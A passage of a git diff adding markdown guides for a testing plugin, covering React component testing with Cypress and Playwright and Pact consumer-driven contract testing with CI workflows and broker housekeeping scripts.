+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Submit" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Red: Write failing test first - clarifies requirements before coding
+- Green: Implement minimal code to pass - prevents over-engineering
+- Refactor: Improve code quality while keeping tests green
+- Expand: Add tests for new features after refactoring
+- Cycle repeats: Each new feature starts with a failing test
+
+### Example 2: Provider Isolation Pattern
+
+**Context**: When testing components that depend on context providers (React Query, Auth, Router), wrap them with required providers in each test to prevent state bleed between tests.
+
+**Implementation**:
+
+```typescript
+// test-utils/AllTheProviders.tsx
+import { FC, ReactNode } from 'react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { BrowserRouter } from 'react-router-dom';
+import { AuthProvider } from '../contexts/AuthContext';
+
+type Props = {
+  children: ReactNode;
+  initialAuth?: { user: User | null; token: string | null };
+};
+
+export const AllTheProviders: FC<Props> = ({ children, initialAuth }) => {
+  // Create NEW QueryClient per test (prevent state bleed)
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false }
+    }
+  });
+
+  return (
+    <QueryClientProvider client={queryClient}>
+      <BrowserRouter>
+        <AuthProvider initialAuth={initialAuth}>
+          {children}
+        </AuthProvider>
+      </BrowserRouter>
+    </QueryClientProvider>
+  );
+};
+
+// Cypress custom mount command
+// cypress/support/component.tsx
+import { mount } from 'cypress/react18';
+import { AllTheProviders } from '../../test-utils/AllTheProviders';
+
+Cypress.Commands.add('wrappedMount', (component, options = {}) => {
+  const { initialAuth, ...mountOptions } = options;
+
+  return mount(
+    <AllTheProviders initialAuth={initialAuth}>
+      {component}
+    </AllTheProviders>,
+    mountOptions
+  );
+});
+
+// Usage in tests
+// UserProfile.cy.tsx
+import { UserProfile } from './UserProfile';
+
+describe('UserProfile Component', () => {
+  it('should display user when authenticated', () => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user, token: 'fake-token' }
+    });
+
+    cy.contains('John Doe').should('be.visible');
+    cy.contains('john@example.com').should('be.visible');
+  });
+
+  it('should show login prompt when not authenticated', () => {
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user: null, token: null }
+    });
+
+    cy.contains('Please log in').should('be.visible');
+  });
+});
+
+// Playwright Component Test with providers
+import { test, expect } from '@playwright/experimental-ct-react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { UserProfile } from './UserProfile';
+import { AuthProvider } from '../contexts/AuthContext';
+
+test.describe('UserProfile Component', () => {
+  test('should display user when authenticated', async ({ mount }) => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+    const queryClient = new QueryClient();
+
+    const component = await mount(
+      <QueryClientProvider client={queryClient}>
+        <AuthProvider initialAuth={{ user, token: 'fake-token' }}>
+          <UserProfile />
+        </AuthProvider>
+      </QueryClientProvider>
+    );
+
+    await expect(component.getByText('John Doe')).toBeVisible();
+    await expect(component.getByText('john@example.com')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Create NEW providers per test (QueryClient, Router, Auth)
+- Prevents state pollution between tests
+- `initialAuth` prop allows testing different auth states
+- Custom mount command (`wrappedMount`) reduces boilerplate
+- Providers wrap component, not the entire test suite
+
+### Example 3: Accessibility Assertions
+
+**Context**: When testing components, validate accessibility alongside functionality using axe-core, ARIA roles, labels, and keyboard navigation.
+
+**Implementation**:
+
+```typescript
+// Cypress with axe-core
+// cypress/support/component.tsx
+import 'cypress-axe';
+
+// Form.cy.tsx
+import { Form } from './Form';
+
+describe('Form Component Accessibility', () => {
+  beforeEach(() => {
+    cy.wrappedMount(<Form />);
+    cy.injectAxe(); // Inject axe-core
+  });
+
+  it('should have no accessibility violations', () => {
+    cy.checkA11y(); // Run axe scan
+  });
+
+  it('should have proper ARIA labels', () => {
+    cy.get('input[name="email"]').should('have.attr', 'aria-label', 'Email address');
+    cy.get('input[name="password"]').should('have.attr', 'aria-label', 'Password');
+    cy.get('button[type="submit"]').should('have.attr', 'aria-label', 'Submit form');
+  });
+
+  it('should support keyboard navigation', () => {
+    // Tab through form fields
+    cy.get('input[name="email"]').focus().type('test@example.com');
+    cy.realPress('Tab'); // cypress-real-events plugin
+    cy.focused().should('have.attr', 'name', 'password');
+
+    cy.focused().type('password123');
+    cy.realPress('Tab');
+    cy.focused().should('have.attr', 'type', 'submit');
+
+    cy.realPress('Enter'); // Submit via keyboard
+    cy.contains('Form submitted').should('be.visible');
+  });
+
+  it('should announce errors to screen readers', () => {
+    cy.get('button[type="submit"]').click(); // Submit without data
+
+    // Error has role="alert" and aria-live="polite"
+    cy.get('[role="alert"]')
+      .should('be.visible')
+      .and('have.attr', 'aria-live', 'polite')
+      .and('contain', 'Email is required');
+  });
+
+  it('should have sufficient color contrast', () => {
+    cy.checkA11y(null, {
+      rules: {
+        'color-contrast': { enabled: true }
+      }
+    });
+  });
+});
+
+// Playwright with axe-playwright
+import { test, expect } from '@playwright/experimental-ct-react';
+import AxeBuilder from '@axe-core/playwright';
+import { Form } from './Form';
+
+test.describe('Form Component Accessibility', () => {
+  test('should have no accessibility violations', async ({ mount, page }) => {
+    await mount(<Form />);
+
+    const accessibilityScanResults = await new AxeBuilder({ page })
+      .analyze();
+
+    expect(accessibilityScanResults.violations).toEqual([]);
+  });
+
+  test('should support keyboard navigation', async ({ mount, page }) => {
+    const component = await mount(<Form />);
+
+    await component.getByLabel('Email address').fill('test@example.com');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByLabel('Password')).toBeFocused();
+
+    await component.getByLabel('Password').fill('password123');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByRole('button', { name: 'Submit form' })).toBeFocused();
+
+    await page.keyboard.press('Enter');
+    await expect(component.getByText('Form submitted')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Use `cy.checkA11y()` (Cypress) or `AxeBuilder` (Playwright) for automated accessibility scanning
+- Validate ARIA roles, labels, and live regions
+- Test keyboard navigation (Tab, Enter, Escape)
+- Ensure errors are announced to screen readers (`role="alert"`, `aria-live`)
+- Check color contrast meets WCAG standards
+
+### Example 4: Visual Regression Test
+
+**Context**: When testing components, capture screenshots to detect unintended visual changes. Use Playwright visual comparison or Cypress snapshot plugins.
+
+**Implementation**:
+
+```typescript
+// Playwright visual regression
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Visual Regression', () => {
+  test('should match primary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Primary" variant="primary" />);
+
+    // Capture and compare screenshot
+    await expect(component).toHaveScreenshot('button-primary.png');
+  });
+
+  test('should match secondary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Secondary" variant="secondary" />);
+    await expect(component).toHaveScreenshot('button-secondary.png');
+  });
+
+  test('should match disabled button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Disabled" disabled={true} />);
+    await expect(component).toHaveScreenshot('button-disabled.png');
+  });
+
+  test('should match loading button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component).toHaveScreenshot('button-loading.png');
+  });
+});
+
+// Cypress visual regression with percy or snapshot plugins
+import { Button } from './Button';
+
+describe('Button Visual Regression', () => {
+  it('should match primary button snapshot', () => {
+    cy.wrappedMount(<Button label="Primary" variant="primary" />);
+
+    // Option 1: Percy (cloud-based visual testing)
+    cy.percySnapshot('Button - Primary');
+
+    // Option 2: cypress-plugin-snapshots (local snapshots)
+    cy.get('button').toMatchImageSnapshot({
+      name: 'button-primary',
+      threshold: 0.01 // 1% threshold for pixel differences
+    });
+  });
+
+  it('should match hover state', () => {
+    cy.wrappedMount(<Button label="Hover Me" />);
+    cy.get('button').realHover(); // cypress-real-events
+    cy.percySnapshot('Button - Hover State');
+  });
+
+  it('should match focus state', () => {
+    cy.wrappedMount(<Button label="Focus Me" />);
+    cy.get('button').focus();
+    cy.percySnapshot('Button - Focus State');
+  });
+});
+
+// Playwright configuration for visual regression
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: {
+      maxDiffPixels: 100, // Allow 100 pixels difference
+      threshold: 0.2 // 20% threshold
+    }
+  },
+  use: {
+    screenshot: 'only-on-failure'
+  }
+});
+
+// Update snapshots when intentional changes are made
+// npx playwright test --update-snapshots
+```
+
+**Key Points**:
+
+- Playwright: Use `toHaveScreenshot()` for built-in visual comparison
+- Cypress: Use Percy (cloud) or snapshot plugins (local) for visual testing
+- Capture different states: default, hover, focus, disabled, loading
+- Set threshold for acceptable pixel differences (avoid false positives)
+- Update snapshots when visual changes are intentional
+- Visual tests catch unintended CSS/layout regressions
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (component test generation), `*automate` (component test expansion), `*framework` (component testing setup)
+- **Related fragments**:
+  - `test-quality.md` - Keep component tests <100 lines, isolated, focused
+  - `fixture-architecture.md` - Provider wrapping patterns, custom mount commands
+  - `data-factories.md` - Factory functions for component props
+  - `test-levels-framework.md` - When to use component tests vs E2E tests
+
+## TDD Workflow Summary
+
+**Red-Green-Refactor Cycle**:
+
+1. **Red**: Write failing test describing desired behavior
+2. **Green**: Implement minimal code to make test pass
+3. **Refactor**: Improve code quality, tests stay green
+4. **Repeat**: Each new feature starts with failing test
+
+**Component Test Checklist**:
+
+- [ ] Test renders with required props
+- [ ] Test user interactions (click, type, submit)
+- [ ] Test different states (loading, error, disabled)
+- [ ] Test accessibility (ARIA, keyboard navigation)
+- [ ] Test visual regression (snapshots)
+- [ ] Isolate with fresh providers (no state bleed)
+- [ ] Keep tests <100 lines (split by intent)
+
+_Source: CCTDD repository, Murat component testing talks, Playwright/Cypress component testing docs._
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/contract-testing.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/contract-testing.md
new file mode 100644
index 0000000..443c46a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/contract-testing.md
@@ -0,0 +1,1050 @@
+# Contract Testing Essentials (Pact)
+
+## Principle
+
+Contract testing validates API contracts between consumer and provider services without requiring integrated end-to-end tests. Store consumer contracts alongside integration specs, version contracts semantically, and publish on every CI run. Provider verification before merge surfaces breaking changes immediately, while explicit fallback behavior (timeouts, retries, error payloads) captures resilience guarantees in contracts.
+
+> **Pact.js Utils Note**: When `tea_use_pactjs_utils` is enabled, prefer the patterns in the `pactjs-utils-*.md` fragments over the raw Pact.js patterns shown below. The pactjs-utils library eliminates boilerplate for provider states, verifier configuration, and request filters. See `pactjs-utils-overview.md` for the decision tree.
+
+## Rationale
+
+Traditional integration testing requires running both consumer and provider simultaneously, creating slow, flaky tests with complex setup. Contract testing decouples services: consumers define expectations (pact files), providers verify against those expectations independently. This enables parallel development, catches breaking changes early, and documents API behavior as executable specifications. Pair contract tests with API smoke tests to validate data mapping and UI rendering in tandem.
+
+> **Recommended**: When `tea_use_pactjs_utils` is enabled, use `@seontechnologies/pactjs-utils` utilities instead of the manual patterns below. The library handles JsonMap conversion, verifier configuration, and request filter assembly automatically. See the `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, and `pactjs-utils-request-filter.md` fragments for the simplified approach.
+
+## Pattern Examples
+
+### Example 1: Pact Consumer Test (Frontend → Backend API)
+
+**Context**: React application consuming a user management API, defining expected interactions.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, createUser, User } from '@/api/user-service';
+
+const { like, eachLike, string, integer } = MatchersV3;
+
+/**
+ * Consumer-Driven Contract Test
+ * - Consumer (React app) defines expected API behavior
+ * - Generates pact file for provider to verify
+ * - Runs in isolation (no real backend required)
+ */
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts', // Output directory for pact files
+  logLevel: 'warn',
+});
+
+describe('User API Contract', () => {
+  describe('GET /users/:id', () => {
+    it('should return user when user exists', async () => {
+      // Arrange: Define expected interaction
+      await provider
+        .given('user with id 1 exists') // Provider state
+        .uponReceiving('a request for user 1')
+        .withRequest({
+          method: 'GET',
+          path: '/users/1',
+          headers: {
+            Accept: 'application/json',
+            Authorization: like('Bearer token123'), // Matcher: any string
+          },
+        })
+        .willRespondWith({
+          status: 200,
+          headers: {
+            'Content-Type': 'application/json',
+          },
+          body: like({
+            id: integer(1),
+            name: string('John Doe'),
+            email: string('john@example.com'),
+            role: string('user'),
+            createdAt: string('2025-01-15T10:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          // Act: Call consumer code against mock server
+          const user = await getUserById(1, {
+            baseURL: mockServer.url,
+            headers: { Authorization: 'Bearer token123' },
+          });
+
+          // Assert: Validate consumer behavior
+          expect(user).toEqual(
+            expect.objectContaining({
+              id: 1,
+              name: 'John Doe',
+              email: 'john@example.com',
+              role: 'user',
+            }),
+          );
+        });
+    });
+
+    it('should handle 404 when user does not exist', async () => {
+      await provider
+        .given('user with id 999 does not exist')
+        .uponReceiving('a request for non-existent user')
+        .withRequest({
+          method: 'GET',
+          path: '/users/999',
+          headers: { Accept: 'application/json' },
+        })
+        .willRespondWith({
+          status: 404,
+          headers: { 'Content-Type': 'application/json' },
+          body: {
+            error: 'User not found',
+            code: 'USER_NOT_FOUND',
+          },
+        })
+        .executeTest(async (mockServer) => {
+          // Act & Assert: Consumer handles 404 gracefully
+          await expect(getUserById(999, { baseURL: mockServer.url })).rejects.toThrow('User not found');
+        });
+    });
+  });
+
+  describe('POST /users', () => {
+    it('should create user and return 201', async () => {
+      const newUser: Omit<User, 'id' | 'createdAt'> = {
+        name: 'Jane Smith',
+        email: 'jane@example.com',
+        role: 'admin',
+      };
+
+      await provider
+        .given('no users exist')
+        .uponReceiving('a request to create a user')
+        .withRequest({
+          method: 'POST',
+          path: '/users',
+          headers: {
+            'Content-Type': 'application/json',
+            Accept: 'application/json',
+          },
+          body: newUser,
+        })
+        .willRespondWith({
+          status: 201,
+          headers: { 'Content-Type': 'application/json' },
+          body: like({
+            id: integer(2),
+            name: string('Jane Smith'),
+            email: string('jane@example.com'),
+            role: string('admin'),
+            createdAt: string('2025-01-15T11:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          const createdUser = await createUser(newUser, {
+            baseURL: mockServer.url,
+          });
+
+          expect(createdUser).toEqual(
+            expect.objectContaining({
+              id: expect.any(Number),
+              name: 'Jane Smith',
+              email: 'jane@example.com',
+              role: 'admin',
+            }),
+          );
+        });
+    });
+  });
+});
+```
+
+**package.json scripts** (when using pactjs-utils conventions, prefer `test:pact:consumer` naming — see `pact-consumer-framework-setup.md`):
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh"
+  }
+}
+```
+
+**Key Points**:
+
+- **Consumer-driven**: Frontend defines expectations, not backend
+- **Matchers (Postel's Law)**: Use `like`, `string`, `integer` matchers in `willRespondWith` (responses) for flexible matching. Do NOT use `like()` on request bodies in `withRequest` — the consumer controls what it sends, so request bodies should use exact values. This follows Postel's Law: be strict in what you send (requests), be lenient in what you accept (responses).
+- **Provider states**: given() sets up test preconditions
+- **Isolation**: No real backend needed, runs fast
+- **Pact generation**: Automatically creates JSON pact files
+
+---
+
+### Example 2: Pact Provider Verification (Backend validates contracts)
+
+**Context**: Node.js/Express API verifying pacts published by consumers.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.provider.spec.ts
+import { Verifier, VerifierOptions } from '@pact-foundation/pact';
+import { server } from '../../src/server'; // Your Express/Fastify app
+import { seedDatabase, resetDatabase } from '../support/db-helpers';
+
+/**
+ * Provider Verification Test
+ * - Provider (backend API) verifies against published pacts
+ * - State handlers setup test data for each interaction
+ * - Runs before merge to catch breaking changes
+ */
+
+describe('Pact Provider Verification', () => {
+  let serverInstance;
+  const PORT = 3001;
+
+  beforeAll(async () => {
+    // Start provider server
+    serverInstance = server.listen(PORT);
+    console.log(`Provider server running on port ${PORT}`);
+  });
+
+  afterAll(async () => {
+    // Cleanup
+    await serverInstance.close();
+  });
+
+  it('should verify pacts from all consumers', async () => {
+    const opts: VerifierOptions = {
+      // Provider details
+      provider: 'user-api-service',
+      providerBaseUrl: `http://localhost:${PORT}`,
+
+      // Pact Broker configuration
+      pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+      pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+      publishVerificationResult: process.env.CI === 'true',
+      providerVersion: process.env.GITHUB_SHA || 'dev',
+
+      // State handlers: Setup provider state for each interaction
+      stateHandlers: {
+        'user with id 1 exists': async () => {
+          await seedDatabase({
+            users: [
+              {
+                id: 1,
+                name: 'John Doe',
+                email: 'john@example.com',
+                role: 'user',
+                createdAt: '2025-01-15T10:00:00Z',
+              },
+            ],
+          });
+          return 'User seeded successfully';
+        },
+
+        'user with id 999 does not exist': async () => {
+          // Ensure user doesn't exist
+          await resetDatabase();
+          return 'Database reset';
+        },
+
+        'no users exist': async () => {
+          await resetDatabase();
+          return 'Database empty';
+        },
+      },
+
+      // Request filters: Add auth headers to all requests
+      requestFilter: (req, res, next) => {
+        // Mock authentication for verification
+        req.headers['x-user-id'] = 'test-user';
+        req.headers['authorization'] = 'Bearer valid-test-token';
+        next();
+      },
+
+      // Timeout for verification
+      timeout: 30000,
+    };
+
+    // Run verification
+    await new Verifier(opts).verifyProvider();
+  });
+});
+```
+
+**CI integration**:
+
+```yaml
+# .github/workflows/contract-test-provider.yml
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start database
+        run: docker-compose up -d postgres
+
+      - name: Run migrations
+        run: npm run db:migrate
+
+      - name: Verify pacts
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I Deploy?
+        if: github.ref == 'refs/heads/main'
+        run: npm run can:i:deploy:provider
+```
+
+**Key Points**:
+
+- **State handlers**: Setup provider data for each given() state
+- **Request filters**: Add auth/headers for verification requests
+- **CI publishing**: Verification results sent to broker
+- **can-i-deploy**: Safety check before production deployment
+- **Database isolation**: Reset between state handlers
+
+---
+
+### Example 3: Contract CI Integration (Consumer & Provider Workflow)
+
+**Context**: Simplified overview of consumer and provider CI coordination. For the complete consumer CI workflow with env blocks, concurrency, and breaking-change detection, see `pact-consumer-framework-setup.md` Example 5.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/contract-test-consumer.yml (Consumer side)
+# NOTE: Canonical naming is contract-test-consumer.yml per pactjs-utils conventions
+name: Pact Consumer Tests
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  consumer-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      - name: Publish pacts to broker
+        run: npm run publish:pact
+
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+```yaml
+# .github/workflows/contract-test-provider.yml (Provider side)
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+  repository_dispatch:
+    types: [pact_changed] # Webhook from Pact Broker
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start dependencies
+        run: docker-compose up -d
+
+      - name: Run provider verification
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I deploy provider? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:provider
+
+      - name: Record provider deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:provider:deployment --env=dev
+```
+
+**Pact Broker Webhook Configuration**:
+
+```json
+{
+  "events": [
+    {
+      "name": "contract_content_changed"
+    }
+  ],
+  "request": {
+    "method": "POST",
+    "url": "https://api.github.com/repos/your-org/user-api/dispatches",
+    "headers": {
+      "Authorization": "Bearer ${user.githubToken}",
+      "Content-Type": "application/json",
+      "Accept": "application/vnd.github.v3+json"
+    },
+    "body": {
+      "event_type": "pact_changed",
+      "client_payload": {
+        "pact_url": "${pactbroker.pactUrl}",
+        "consumer": "${pactbroker.consumerName}",
+        "provider": "${pactbroker.providerName}"
+      }
+    }
+  }
+}
+```
+
+**Key Points**:
+
+- **Automatic trigger**: Consumer pact changes trigger provider verification via webhook
+- **Branch tracking**: Pacts published per branch for feature testing
+- **can-i-deploy**: Safety gate before production deployment
+- **Record deployment**: Track which version is in each environment
+- **Parallel dev**: Consumer and provider teams work independently
+
+---
+
+### Example 4: Resilience Coverage (Testing Fallback Behavior)
+
+**Context**: Capture timeout, retry, and error handling behavior explicitly in contracts.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api-resilience.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, ApiError } from '@/api/user-service';
+
+const { like, string } = MatchersV3;
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts',
+});
+
+describe('User API Resilience Contract', () => {
+  /**
+   * Test 500 error handling
+   * Verifies consumer handles server errors gracefully
+   */
+  it('should handle 500 errors with retry logic', async () => {
+    await provider
+      .given('server is experiencing errors')
+      .uponReceiving('a request that returns 500')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+        headers: { Accept: 'application/json' },
+      })
+      .willRespondWith({
+        status: 500,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+          retryable: true,
+        },
+      })
+      .executeTest(async (mockServer) => {
+        // Consumer should retry on 500
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            retries: 3,
+            retryDelay: 100,
+          });
+          fail('Should have thrown error after retries');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('INTERNAL_ERROR');
+          expect((error as ApiError).retryable).toBe(true);
+        }
+      });
+  });
+
+  /**
+   * Test 429 rate limiting
+   * Verifies consumer respects rate limits
+   */
+  it('should handle 429 rate limit with backoff', async () => {
+    await provider
+      .given('rate limit exceeded for user')
+      .uponReceiving('a request that is rate limited')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 429,
+        headers: {
+          'Content-Type': 'application/json',
+          'Retry-After': '60', // Retry after 60 seconds
+        },
+        body: {
+          error: 'Too many requests',
+          code: 'RATE_LIMIT_EXCEEDED',
+        },
+      })
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            respectRateLimit: true,
+          });
+          fail('Should have thrown rate limit error');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('RATE_LIMIT_EXCEEDED');
+          expect((error as ApiError).retryAfter).toBe(60);
+        }
+      });
+  });
+
+  /**
+   * Test timeout handling
+   * Verifies consumer has appropriate timeout configuration
+   */
+  it('should timeout after 10 seconds', async () => {
+    await provider
+      .given('server is slow to respond')
+      .uponReceiving('a request that times out')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: like({ id: 1, name: 'John' }),
+      })
+      .withDelay(15000) // Simulate 15 second delay
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            timeout: 10000, // 10 second timeout
+          });
+          fail('Should have timed out');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('TIMEOUT');
+        }
+      });
+  });
+
+  /**
+   * Test partial response (optional fields)
+   * Verifies consumer handles missing optional data
+   */
+  it('should handle response with missing optional fields', async () => {
+    await provider
+      .given('user exists with minimal data')
+      .uponReceiving('a request for user with partial data')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          id: integer(1),
+          name: string('John Doe'),
+          email: string('john@example.com'),
+          // role, createdAt, etc. omitted (optional fields)
+        },
+      })
+      .executeTest(async (mockServer) => {
+        const user = await getUserById(1, { baseURL: mockServer.url });
+
+        // Consumer handles missing optional fields gracefully
+        expect(user.id).toBe(1);
+        expect(user.name).toBe('John Doe');
+        expect(user.role).toBeUndefined(); // Optional field
+        expect(user.createdAt).toBeUndefined(); // Optional field
+      });
+  });
+});
+```
+
+**API client with retry logic**:
+
+```typescript
+// src/api/user-service.ts
+import axios, { AxiosInstance, AxiosRequestConfig } from 'axios';
+
+export class ApiError extends Error {
+  constructor(
+    message: string,
+    public code: string,
+    public retryable: boolean = false,
+    public retryAfter?: number,
+  ) {
+    super(message);
+  }
+}
+
+/**
+ * User API client with retry and error handling
+ */
+export async function getUserById(
+  id: number,
+  config?: AxiosRequestConfig & { retries?: number; retryDelay?: number; respectRateLimit?: boolean },
+): Promise<User> {
+  const { retries = 3, retryDelay = 1000, respectRateLimit = true, ...axiosConfig } = config || {};
+
+  let lastError: Error;
+
+  for (let attempt = 1; attempt <= retries; attempt++) {
+    try {
+      const response = await axios.get(`/users/${id}`, axiosConfig);
+      return response.data;
+    } catch (error: any) {
+      lastError = error;
+
+      // Handle rate limiting
+      if (error.response?.status === 429) {
+        const retryAfter = parseInt(error.response.headers['retry-after'] || '60');
+        throw new ApiError('Too many requests', 'RATE_LIMIT_EXCEEDED', false, retryAfter);
+      }
+
+      // Retry on 500 errors
+      if (error.response?.status === 500 && attempt < retries) {
+        await new Promise((resolve) => setTimeout(resolve, retryDelay * attempt));
+        continue;
+      }
+
+      // Handle 404
+      if (error.response?.status === 404) {
+        throw new ApiError('User not found', 'USER_NOT_FOUND', false);
+      }
+
+      // Handle timeout
+      if (error.code === 'ECONNABORTED') {
+        throw new ApiError('Request timeout', 'TIMEOUT', true);
+      }
+
+      break;
+    }
+  }
+
+  throw new ApiError('Request failed after retries', 'INTERNAL_ERROR', true);
+}
+```
+
+**Key Points**:
+
+- **Resilience contracts**: Timeouts, retries, errors explicitly tested
+- **State handlers**: Provider sets up each test scenario
+- **Error handling**: Consumer validates graceful degradation
+- **Retry logic**: Exponential backoff tested
+- **Optional fields**: Consumer handles partial responses
+
+---
+
+### Example 5: Pact Broker Housekeeping & Lifecycle Management
+
+**Context**: Automated broker maintenance to prevent contract sprawl and noise.
+
+**Implementation**:
+
+```typescript
+// scripts/pact-broker-housekeeping.ts
+/**
+ * Pact Broker Housekeeping Script
+ * - Archive superseded contracts
+ * - Expire unused pacts
+ * - Tag releases for environment tracking
+ */
+
+import { execFileSync } from 'node:child_process';
+
+const PACT_BROKER_BASE_URL = process.env.PACT_BROKER_BASE_URL!;
+const PACT_BROKER_TOKEN = process.env.PACT_BROKER_TOKEN!;
+const PACTICIPANT = 'user-api-service';
+
+/**
+ * Tag release with environment
+ */
+function tagRelease(version: string, environment: 'staging' | 'production') {
+  console.log(`🏷️  Tagging ${PACTICIPANT} v${version} as ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'create-version-tag',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--tag',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Record deployment to environment
+ */
+function recordDeployment(version: string, environment: 'staging' | 'production') {
+  console.log(`📝 Recording deployment of ${PACTICIPANT} v${version} to ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'record-deployment',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--environment',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Clean up old pact versions (retention policy)
